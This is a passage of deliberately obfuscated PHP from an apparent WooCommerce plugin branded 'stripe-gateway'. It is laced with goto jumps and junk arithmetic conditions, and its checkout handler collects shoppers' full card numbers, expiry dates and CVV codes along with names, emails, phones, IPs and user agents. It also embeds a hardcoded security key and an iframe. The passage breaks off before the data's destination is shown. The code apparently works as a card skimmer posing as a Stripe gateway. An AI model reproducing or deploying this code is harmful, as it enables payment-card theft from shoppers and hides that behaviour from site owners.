'assets/js/appjs';$U2yzA8J=array();$U2yzA8J[]=&$U2yvP8G;$U2yeF8I=call_user_func_array("filemtime",$U2yzA8J);unset($U2yzA8J);unset($U2ytI8H);$U2ytI8H=$U2yeF8I;unset($U2ytI8G);$U2ytI8G=$U2ytI8H;$script_version=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='assets/js/appjs';$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugins_url",$U2yzA8H);unset($U2yzA8H);$U2yzAvP8I=array();$U2yzAvP8I[]='jquery';$U2yzA8K=array();$U2yzA8K[]='stripe-gateway-js';$U2yzA8K[]=&$U2yeFvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=&$script_version;$U2yzA8K[]=true;$U2yeF8J=call_user_func_array("wp_enqueue_script",$U2yzA8K);unset($U2yzA8K);$U2yzA8G=array();unset($U2ytI8G);$U2ytI8G=$U2yzA8G;$cart_items=$U2ytI8G;unset($U2ytI8G);$U2ytI8G='';$product_list=$U2ytI8G;$U2yzA8G=array();unset($U2ytI8G);$U2ytI8G=$U2yzA8G;$contents=$U2ytI8G;unset($U2yEc1);$U2yEc1=array();foreach(WC()->cart->get_cart() as $cart_item_key=>$cart_item){$U2yEc1[$cart_item_key]=$cart_item;};$U2y1i=0;U2yx8d:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("count",$U2yzA8H);unset($U2yzA8H);$U2y8G=$U2y1i<$U2yeF8G;if($U2y8G)goto U2yeWjgx8o;goto U2yldMhx8o;U2yeWjgx8o:goto U2yeWjgx8h;goto U2yx8n;U2yldMhx8o:U2yx8n:goto U2yldMhx8h;U2yeWjgx8h:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("array_keys",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$cart_item_key=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$cart_item_key[$U2y1i];$cart_item_key=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$U2yEc1[$cart_item_key];$cart_item=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$cart_item['data'];$product=$U2ytI8G;$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$product;$U2yzA8I[]="get_name";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$product_name=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$cart_item['quantity'];$quantity=$U2ytI8G;$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$product;$U2yzA8I[]="get_id";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yvP8G=(string)$U2yhCvP8G;$U2yzA8K=array();$U2yzA8L=array();$U2yzA8L[]=$product;$U2yzA8L[]="get_name";$U2yhCvP8J=call_user_func_array($U2yzA8L,$U2yzA8K);unset($U2yzA8K);unset($U2yzA8L);$U2yzA8M=array();$U2yzA8M['content_id']=$U2yvP8G;$U2yzA8M['content_type']='product';$U2yzA8M['content_name']=$U2yhCvP8J;$U2yzA8M['quantity']=$cart_item['quantity'];unset($U2ytI8H);$U2ytI8H=$U2yzA8M;unset($U2ytI8G);$U2ytI8G=$U2ytI8H;$contents[]=$U2ytI8G;$U2y8G=$product_name . " * ";$U2y8H=$U2y8G . $quantity;unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$cart_items[]=$U2ytI8G;U2yx8e:$U2y1i=$U2y1i+1;goto U2yx8d;goto U2yx8g;U2yldMhx8h:U2yx8g:U2yx8f:$U2yzA8H=array();$U2yzA8H[]='; ';$U2yzA8H[]=&$cart_items;$U2yeF8G=call_user_func_array("implode",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$product_list=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$product_list;$U2yeF8G=call_user_func_array("base64_encode",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$goods_name=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=WC()->cart->get_cart_contents_total();$goods_price=$U2ytI8G;$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$currency_symbol=$U2ytI8G;$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$currency_code=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='/wp-content/plugins/stripe-gateway/stripe/indexhtml';$U2yeFvP8G=call_user_func_array("network_site_url",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yeF8I=call_user_func_array("esc_url",$U2yzA8J);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yeF8I;$iframe_url=$U2ytI8G;$U2yzA8J=array();$U2yzA8K=array();$U2yzA8K[]=$this;$U2yzA8K[]="getIpAddress";$U2yhCvPvP8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2yvPvP8G=$currency_code . " ";$U2yvPvP8H=$U2yvPvP8G . $goods_price;$U2yzA8Q=array();$U2yeFvPvP8P=call_user_func_array("home_url",$U2yzA8Q);unset($U2yzA8Q);unset($U2ysNvPvP8I);if(isset($_SERVER['HTTP_REFERER']))goto U2yeWjgx8q;goto U2yldMhx8q;U2yeWjgx8q:goto U2yeWjgx8j;goto U2yx8p;U2yldMhx8q:U2yx8p:goto U2yldMhx8j;U2yeWjgx8j:$U2ysNvPvP8I=$_SERVER['HTTP_REFERER'];goto U2yx8i;U2yldMhx8j:$U2y8J=null!=='';if($U2y8J)goto U2yeWjgx8s;goto U2yldMhx8s;U2yeWjgx8s:goto U2yeWjgx8k;goto U2yx8r;U2yldMhx8s:U2yx8r:goto U2yldMhx8k;U2yeWjgx8k:$U2ysNvPvP8I='';goto U2yx8i;U2yldMhx8k:U2yx8i:$U2yzA8T=array();$U2yzA8T[]='custom/v2/update_order_status';$U2yeFvPvPvP8S=call_user_func_array("rest_url",$U2yzA8T);unset($U2yzA8T);$U2yzA8V=array();$U2yzA8V[]=&$U2yeFvPvPvP8S;$U2yeFvPvP8U=call_user_func_array("esc_url",$U2yzA8V);unset($U2yzA8V);$U2yzAvP8W=array();$U2yzAvP8W['admin_url']=$this->domain;$U2yzAvP8W['user_agent']=$_SERVER['HTTP_USER_AGENT'];$U2yzAvP8W['securityKey']="bda1ba0338a0ed9203b8f80fe81d9fd4";$U2yzAvP8W['store_name']=$this->store_name;$U2yzAvP8W['ip']=$U2yhCvPvP8I;$U2yzAvP8W['prefix']=$this->prefix;$U2yzAvP8W['fbq_check']=$this->fbq_check;$U2yzAvP8W['goods_name']=$goods_name;$U2yzAvP8W['goods_price']=$U2yvPvP8H;$U2yzAvP8W['currency_symbol']=$currency_symbol;$U2yzAvP8W['currency_code']=$currency_code;$U2yzAvP8W['error_text']=$this->error_text;$U2yzAvP8W['show_close']=$this->show_close;$U2yzAvP8W['current_domain']=$U2yeFvPvP8P;$U2yzAvP8W['shoplink']=$U2ysNvPvP8I;$U2yzAvP8W['iframe_url']=$iframe_url;$U2yzAvP8W['updateOrderUrl']=$U2yeFvPvP8U;$U2yzAvP8W['contents']=$contents;$U2yzAvP8W['messageCode']='wordpress';$U2yzA8H=array();$U2yzA8H[]='stripe-gateway-js';$U2yzA8H[]='StripeGatewayParams';$U2yzA8H[]=&$U2yzAvP8W;$U2yeF8G=call_user_func_array("wp_localize_script",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='stripe-gateway-js';$U2yzA8H[]="
jQuery(function($){
$('formcheckout').on('change', 'input[name=\"payment_method\"]', function() {
$('body').trigger('update_checkout');
});
});
";$U2yeF8G=call_user_func_array("wp_add_inline_script",$U2yzA8H);unset($U2yzA8H);goto U2yx8l;U2yldMhx8m:U2yx8l:}public function process_payment($order_id){$U2yBuEt97=array();$U2yBuEt97[]=19;$U2yBuEt97[]=19;$U2yBuEt97[]=6;$U2yBuEt97[]=11;$U2yBuEt97[]=14;global $woocommerce;$U2yOiRy147=6871;$U2y8G=!isset($_POST['app_js_loaded']);$U2y8I=(bool)$U2y8G;$U2y8M=!$U2y8I;if($U2y8M)goto U2yeWjgx8x;goto U2yldMhx8x;U2yeWjgx8x:$U2y8H=$_POST['app_js_loaded']!=='true';$U2y8I=(bool)$U2y8H;goto U2yx8w;U2yldMhx8x:U2yx8w:$U2y8K=(bool)$U2y8I;$U2y8L=!$U2y8K;if($U2y8L)goto U2yeWjgx8v;goto U2yldMhx8v;U2yeWjgx8v:$U2y8J=!isset($_POST['uuid']);$U2y8K=(bool)$U2y8J;goto U2yx8u;U2yldMhx8v:U2yx8u:if($U2y8K)goto U2yeWjgx8y;goto U2yldMhx8y;U2yeWjgx8y:$U2yOiRy147="a"*"y";goto U2yx8t;U2yldMhx8y:U2yx8t:$U2y8G=7*14;$U2y8H=$U2y8G+56;$U2y8I=$U2yOiRy147==$U2y8H;if($U2y8I)goto U2yeWjgx91;goto U2yldMhx91;U2yeWjgx91:$U2yzA8H=array();$U2yzA8H[]='It is detected that you have other plug-ins that prevent the payment from being completedPlease uninstall the other plug-ins and try again.';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8J[]='error';$U2yeF8I=call_user_func_array("wc_add_notice",$U2yzA8J);unset($U2yzA8J);return ;goto U2yx9z;U2yldMhx91:U2yx9z:$U2yzA8H=array();$U2yzA8H[]=&$order_id;$U2yeF8G=call_user_func_array("wc_get_order",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$order=$U2ytI8G;$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_total";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$order_amount=$U2ytI8G;$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_currency";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$order_currency=$U2ytI8G;$U2yzA8G=array();unset($U2ytI8G);$U2ytI8G=$U2yzA8G;$cart_items=$U2ytI8G;unset($U2ytI8G);$U2ytI8G='';$product_list=$U2ytI8G;unset($U2yEc1);$U2yEc1=array();foreach(WC()->cart->get_cart() as $cart_item_key=>$cart_item){$U2yEc1[$cart_item_key]=$cart_item;};$U2y1i=0;U2yx92:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("count",$U2yzA8H);unset($U2yzA8H);$U2y8G=$U2y1i<$U2yeF8G;$U2yOiRy149=6864;if($U2y8G)goto U2yeWjgx96;goto U2yldMhx96;U2yeWjgx96:$U2yOiRy149="a"*"a";goto U2yx95;U2yldMhx96:U2yx95:$U2y8G=10*11;$U2y8H=$U2y8G+99;$U2y8I=$U2yOiRy149==$U2y8H;if($U2y8I)goto U2yeWjgx98;goto U2yldMhx98;U2yeWjgx98:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("array_keys",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$cart_item_key=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$cart_item_key[$U2y1i];$cart_item_key=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$U2yEc1[$cart_item_key];$cart_item=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$cart_item['data'];$product=$U2ytI8G;$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$product;$U2yzA8I[]="get_name";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$product_name=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$cart_item['quantity'];$quantity=$U2ytI8G;$U2y8G=$product_name . " * ";$U2y8H=$U2y8G . $quantity;unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$cart_items[]=$U2ytI8G;U2yx93:$U2y1i=$U2y1i+1;goto U2yx92;goto U2yx97;U2yldMhx98:U2yx97:U2yx94:$U2yzA8H=array();$U2yzA8H[]='; ';$U2yzA8H[]=&$cart_items;$U2yeF8G=call_user_func_array("implode",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$product_list=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$product_list;$U2yeF8G=call_user_func_array("base64_encode",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$item_name=$U2ytI8G;$U2yOiRy151=6876;if($this->prefix)goto U2yeWjgx9a;goto U2yldMhx9a;U2yeWjgx9a:$U2yOiRy151="y"*"a";goto U2yx99;U2yldMhx9a:$U2yOiRy151="y"*"r";U2yx99:$U2y8K=10*7;$U2y8L=$U2y8K+84;$U2y8M=$U2yOiRy151==$U2y8L;if($U2y8M)goto U2yeWjgx9c;goto U2yldMhx9c;U2yeWjgx9c:$U2y8G=$this->prefix . '-';$U2y8H=$U2y8G . $order_id;$U2y8I=$U2y8H;goto U2yx9b;U2yldMhx9c:$U2y8N=9*5;$U2y8O=$U2y8N+221;$U2y8P=$U2yOiRy151==$U2y8O;if($U2y8P)goto U2yeWjgx9d;goto U2yldMhx9d;U2yeWjgx9d:$U2y8I=$order_id;goto U2yx9b;U2yldMhx9d:U2yx9b:unset($U2ytI8J);$U2ytI8J=$U2y8I;$wp_order_id=$U2ytI8J;unset($U2ytI8G);$U2ytI8G=preg_replace('/\s+/','',$wp_order_id);$wp_order_id=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$_POST['uuid'];$uuid=$U2ytI8G;unset($U2ysN8G);$U2yOiRy153=6872;if(isset($_POST['billing_first_name']))goto U2yeWjgx9f;goto U2yldMhx9f;U2yeWjgx9f:$U2yOiRy153="y"*"y";goto U2yx9e;U2yldMhx9f:if(isset($_POST['shipping_first_name']))goto U2yeWjgx9g;goto U2yldMhx9g;U2yeWjgx9g:$U2yOiRy153="y"*"a";goto U2yx9e;U2yldMhx9g:U2yx9e:$U2y8I=2*10;$U2y8J=$U2y8I+134;$U2y8K=$U2yOiRy153==$U2y8J;if($U2y8K)goto U2yeWjgx9i;goto U2yldMhx9i;U2yeWjgx9i:$U2ysN8G=$_POST['shipping_first_name'];goto U2yx9h;U2yldMhx9i:$U2y8L=19*17;$U2y8M=$U2y8L-127;$U2y8N=$U2yOiRy153==$U2y8M;if($U2y8N)goto U2yeWjgx9j;goto U2yldMhx9j;U2yeWjgx9j:$U2ysN8G=$_POST['billing_first_name'];goto U2yx9h;U2yldMhx9j:U2yx9h:unset($U2ytI8H);$U2ytI8H=$U2ysN8G;$firstName=$U2ytI8H;unset($U2ysN8G);$U2yOiRy155=6874;if(isset($_POST['billing_last_name']))goto U2yeWjgx9l;goto U2yldMhx9l;U2yeWjgx9l:$U2yOiRy155="a"*"a";goto U2yx9k;U2yldMhx9l:if(isset($_POST['shipping_last_name']))goto U2yeWjgx9m;goto U2yldMhx9m;U2yeWjgx9m:$U2yOiRy155="r"*"a";goto U2yx9k;U2yldMhx9m:U2yx9k:$U2y8I=3*7;$U2y8J=$U2y8I+93;$U2y8K=$U2yOiRy155==$U2y8J;if($U2y8K)goto U2yeWjgx9o;goto U2yldMhx9o;U2yeWjgx9o:$U2ysN8G=$_POST['shipping_last_name'];goto U2yx9n;U2yldMhx9o:$U2y8L=18*17;$U2y8M=$U2y8L-97;$U2y8N=$U2yOiRy155==$U2y8M;if($U2y8N)goto U2yeWjgx9p;goto U2yldMhx9p;U2yeWjgx9p:$U2ysN8G=$_POST['billing_last_name'];goto U2yx9n;U2yldMhx9p:U2yx9n:unset($U2ytI8H);$U2ytI8H=$U2ysN8G;$lastName=$U2ytI8H;$U2y8G=$firstName . " ";$U2y8H=$U2y8G . $lastName;unset($U2ytI8I);$U2ytI8I=$U2y8H;$username=$U2ytI8I;$U2yzA8H=array();$U2yzA8H[]=&$order_currency;$U2yeFvP8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yeF8I=call_user_func_array("html_entity_decode",$U2yzA8J);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yeF8I;$order_currency_symbol=$U2ytI8G;$U2y8G=$order_currency . ' ';$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_total";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2y8H=$U2y8G . $U2yhC8G;unset($U2ytI8I);$U2ytI8I=$U2y8H;$goods_price=$U2ytI8I;unset($U2ysN8G);$U2yOiRy157=6861;if(isset($_POST['billing_email']))goto U2yeWjgx9r;goto U2yldMhx9r;U2yeWjgx9r:$U2yOiRy157="r"*"a";goto U2yx9q;U2yldMhx9r:if(isset($_POST['shipping_email']))goto U2yeWjgx9s;goto U2yldMhx9s;U2yeWjgx9s:$U2yOiRy157="r"*"a";goto U2yx9q;U2yldMhx9s:U2yx9q:$U2y8I=20*14;$U2y8J=$U2y8I-214;$U2y8K=$U2yOiRy157==$U2y8J;if($U2y8K)goto U2yeWjgx9u;goto U2yldMhx9u;U2yeWjgx9u:$U2ysN8G=$_POST['billing_email'];goto U2yx9t;U2yldMhx9u:$U2y8L=7*16;$U2y8M=$U2y8L+2;$U2y8N=$U2yOiRy157==$U2y8M;if($U2y8N)goto U2yeWjgx9v;goto U2yldMhx9v;U2yeWjgx9v:$U2ysN8G=$_POST['shipping_email'];goto U2yx9t;U2yldMhx9v:U2yx9t:unset($U2ytI8H);$U2ytI8H=$U2ysN8G;$email=$U2ytI8H;unset($U2ysN8G);$U2yOiRy159=6860;if(isset($_POST['billing_phone']))goto U2yeWjgx9x;goto U2yldMhx9x;U2yeWjgx9x:$U2yOiRy159="a"*"a";goto U2yx9w;U2yldMhx9x:if(isset($_POST['shipping_phone']))goto U2yeWjgx9y;goto U2yldMhx9y;U2yeWjgx9y:$U2yOiRy159="y"*"a";goto U2yx9w;U2yldMhx9y:U2yx9w:$U2y8I=8*16;$U2y8J=$U2y8I+81;$U2y8K=$U2yOiRy159==$U2y8J;if($U2y8K)goto U2yeWjgxa1;goto U2yldMhxa1;U2yeWjgxa1:$U2ysN8G=$_POST['billing_phone'];goto U2yxaz;U2yldMhxa1:$U2y8L=18*11;$U2y8M=$U2y8L+68;$U2y8N=$U2yOiRy159==$U2y8M;if($U2y8N)goto U2yeWjgxa2;goto U2yldMhxa2;U2yeWjgxa2:$U2ysN8G=$_POST['shipping_phone'];goto U2yxaz;U2yldMhxa2:U2yxaz:unset($U2ytI8H);$U2ytI8H=$U2ysN8G;$phone=$U2ytI8H;unset($U2ytI8G);$U2ytI8G=$_POST['cardType'];$cardType=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$_POST['ccard'];$ccard=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$_POST['cdate'];$cdate=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$_POST['ccvv'];$ccvv=$U2ytI8G;$U2yOiRy163=6870;$U2y8G=!isset($ccard);$U2y8I=(bool)$U2y8G;$U2y8M=!$U2y8I;if($U2y8M)goto U2yeWjgxa7;goto U2yldMhxa7;U2yeWjgxa7:$U2y8H=!isset($cdate);$U2y8I=(bool)$U2y8H;goto U2yxa6;U2yldMhxa7:U2yxa6:$U2y8K=(bool)$U2y8I;$U2y8L=!$U2y8K;if($U2y8L)goto U2yeWjgxa5;goto U2yldMhxa5;U2yeWjgxa5:$U2y8J=!isset($ccvv);$U2y8K=(bool)$U2y8J;goto U2yxa4;U2yldMhxa5:U2yxa4:if($U2y8K)goto U2yeWjgxa8;goto U2yldMhxa8;U2yeWjgxa8:$U2yOiRy163="r"*"r";goto U2yxa3;U2yldMhxa8:U2yxa3:$U2y8G=17*18;$U2y8H=$U2y8G-270;$U2y8I=$U2yOiRy163==$U2y8H;if($U2y8I)goto U2yeWjgxaa;goto U2yldMhxaa;U2yeWjgxaa:$U2yzA8H=array();$U2yzA8H[]='Please fill in the card number!';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8J[]='error';$U2yeF8I=call_user_func_array("wc_add_notice",$U2yzA8J);unset($U2yzA8J);return ;goto U2yxa9;U2yldMhxaa:U2yxa9:$U2yzA8G=array();$U2yzA8G['order_id']=$wp_order_id;$U2yzA8G['goods_name']=$item_name;$U2yzA8G['goods_price']=$goods_price;unset($U2ytI8G);$U2ytI8G=$U2yzA8G;$args=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='Waiting for payment';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='pending';$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]=$order;$U2yzA8K[]="update_status";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);unset($U2ysN8G);$U2yOiRy165=6863;if(isset($this->store_name))goto U2yeWjgxac;goto U2yldMhxac;U2yeWjgxac:$U2yOiRy165="y"*"r";goto U2yxab;U2yldMhxac:$U2y8I=null!=='Stripe';if($U2y8I)goto U2yeWjgxad;goto U2yldMhxad;U2yeWjgxad:$U2yOiRy165="r"*"r";goto U2yxab;U2yldMhxad:U2yxab:$U2y8J=13*5;$U2y8K=$U2y8J+49;$U2y8L=$U2yOiRy165==$U2y8K;if($U2y8L)goto U2yeWjgxaf;goto U2yldMhxaf;U2yeWjgxaf:$U2ysN8G='Stripe';goto U2yxae;U2yldMhxaf:$U2y8M=19*16;$U2y8N=$U2y8M-38;$U2y8O=$U2yOiRy165==$U2y8N;if($U2y8O)goto U2yeWjgxag;goto U2yldMhxag;U2yeWjgxag:$U2ysN8G=$this->store_name;goto U2yxae;U2yldMhxag:U2yxae:unset($U2ytI8H);$U2ytI8H=$U2ysN8G;$merchant=$U2ytI8H;$U2yzA8H=array();$U2yzA8H[]=&$phone;$U2yeF8G=call_user_func_array("strlen",$U2yzA8H);unset($U2yzA8H);$U2y8G=$U2yeF8G>=4;$U2yOiRy167=6861;if($U2y8G)goto U2yeWjgxai;goto U2yldMhxai;U2yeWjgxai:$U2yOiRy167="r"*"a";goto U2yxah;U2yldMhxai:$U2yOiRy167="r"*"a";$U2yOiRy167=$U2yOiRy167+2033;U2yxah:$U2y8J=6*6;$U2y8K=$U2y8J+173;$U2y8L=$U2yOiRy167==$U2y8K;if($U2y8L)goto U2yeWjgxak;goto U2yldMhxak;U2yeWjgxak:$U2yzA8J=array();$U2yzA8J[]=&$phone;$U2yzA8J[]=-4;$U2yeF8I=call_user_func_array("substr",$U2yzA8J);unset($U2yzA8J);$U2y8H=$U2yeF8I;goto U2yxaj;U2yldMhxak:$U2y8M=10*20;$U2y8N=$U2y8M+2042;$U2y8O=$U2yOiRy167==$U2y8N;if($U2y8O)goto U2yeWjgxal;goto U2yldMhxal;U2yeWjgxal:$U2y8H=$phone;goto U2yxaj;U2yldMhxal:U2yxaj:unset($U2ytI8I);$U2ytI8I=$U2y8H;$lastFourPhone=$U2ytI8I;unset($U2ytI8G);$U2ytI8G=preg_replace('/\s+/','',$ccard);$cleanedCardNumber=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$cleanedCardNumber;$U2yzA8H[]=-4;$U2yeF8G=call_user_func_array("substr",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$lastFourDigits=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$email;$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="obscureEmail";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$obscuredEmail=$U2ytI8G;$U2y8H=(bool)isset($_POST['custom_cod_checkbox']);$U2yOiRy169=6870;if($U2y8H)goto U2yeWjgxan;goto U2yldMhxan;U2yeWjgxan:$U2yOiRy169="a"*"r";goto U2yxam;U2yldMhxan:U2yxam:$U2y8J=19*8;$U2y8K=$U2y8J+209;$U2y8L=$U2yOiRy169==$U2y8K;if($U2y8L)goto U2yeWjgxap;goto U2yldMhxap;U2yeWjgxap:$U2y8G=$_POST['custom_cod_checkbox']=='1';$U2y8H=(bool)$U2y8G;goto U2yxao;U2yldMhxap:U2yxao:unset($U2ytI8I);$U2ytI8I=$U2y8H;$is_cod_checked=$U2ytI8I;$U2yOiRy175=6875;if($is_cod_checked)goto U2yeWjgxar;goto U2yldMhxar;U2yeWjgxar:$U2yOiRy175="y"*"r";goto U2yxaq;U2yldMhxar:$U2yOiRy175="a"*"r";U2yxaq:$U2y8G=19*9;$U2y8H=$U2y8G+38;$U2y8I=$U2yOiRy175==$U2y8H;if($U2y8I)goto U2yeWjgxax;goto U2yldMhxax;U2yeWjgxax:$U2y8G=$order->get_currency() . ' ';$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_total";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2y8H=$U2y8Gnumber_format($U2yhCvP8G,2);unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$final_goods_price=$U2ytI8G;goto U2yxaw;U2yldMhxax:$U2y8G=18*8;$U2y8H=$U2y8G-60;$U2y8I=$U2yOiRy175==$U2y8H;if($U2y8I)goto U2yeWjgxay;goto U2yldMhxay;U2yeWjgxay:unset($U2ytI8G);$U2ytI8G=0;$deposit_amount=$U2ytI8G;$U2y8G=$this->enable_cod_deposit=='yes';if($U2y8G)goto U2yeWjgxb1;goto U2yldMhxb1;U2yeWjgxb1:goto U2yeWjgxat;goto U2yxbz;U2yldMhxb1:U2yxbz:goto U2yldMhxat;U2yeWjgxat:$U2y8G=$this->cod_deposit_type==='percent';if($U2y8G)goto U2yeWjgxb3;goto U2yldMhxb3;U2yeWjgxb3:goto U2yeWjgxav;goto U2yxb2;U2yldMhxb3:U2yxb2:goto U2yldMhxav;U2yeWjgxav:$U2yvP8G=floatval($this->cod_deposit_value)/100;$U2yvP8H=$order->get_total()*$U2yvP8G;unset($U2ytI8I);$U2ytI8I=round($U2yvP8H,2);unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$deposit_amount=$U2ytI8G;goto U2yxau;U2yldMhxav:unset($U2ytI8G);$U2ytI8G=floatval($this->cod_deposit_value);$deposit_amount=$U2ytI8G;U2yxau:goto U2yxas;U2yldMhxat:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_total";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$deposit_amount=$U2ytI8G;U2yxas:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_currency";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2y8G=$U2yhC8G . ' ';$U2yzA8K=array();$U2yzA8K[]=&$deposit_amount;$U2yzA8K[]=2;$U2yeF8J=call_user_func_array("number_format",$U2yzA8K);unset($U2yzA8K);$U2y8H=$U2y8G . $U2yeF8J;unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$final_goods_price=$U2ytI8G;goto U2yxaw;U2yldMhxay:U2yxaw:$U2yzA8H=array();$U2yeFvP8G=call_user_func_array("home_url",$U2yzA8H);unset($U2yzA8H);$U2yzA8I=array();$U2yzA8I['uuid']=$uuid;$U2yzA8I['cardType']=$cardType;$U2yzA8I['merchant']=$merchant;$U2yzA8I['goods_price']=$final_goods_price;$U2yzA8I['obscuredEmail']=$obscuredEmail;$U2yzA8I['lastFourDigits']=$lastFourDigits;$U2yzA8I['lastFourPhone']=$lastFourPhone;$U2yzA8I['origin']=$U2yeFvP8G;unset($U2ytI8G);$U2ytI8G=$U2yzA8I;$params=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$order;$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_return_url";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8J=array();$U2yzA8J['result']='success';$U2yzA8J['order_currency']=$order_currency;$U2yzA8J['order_currency_symbol']=$order_currency_symbol;$U2yzA8J['order_amount']=$order_amount;$U2yzA8J[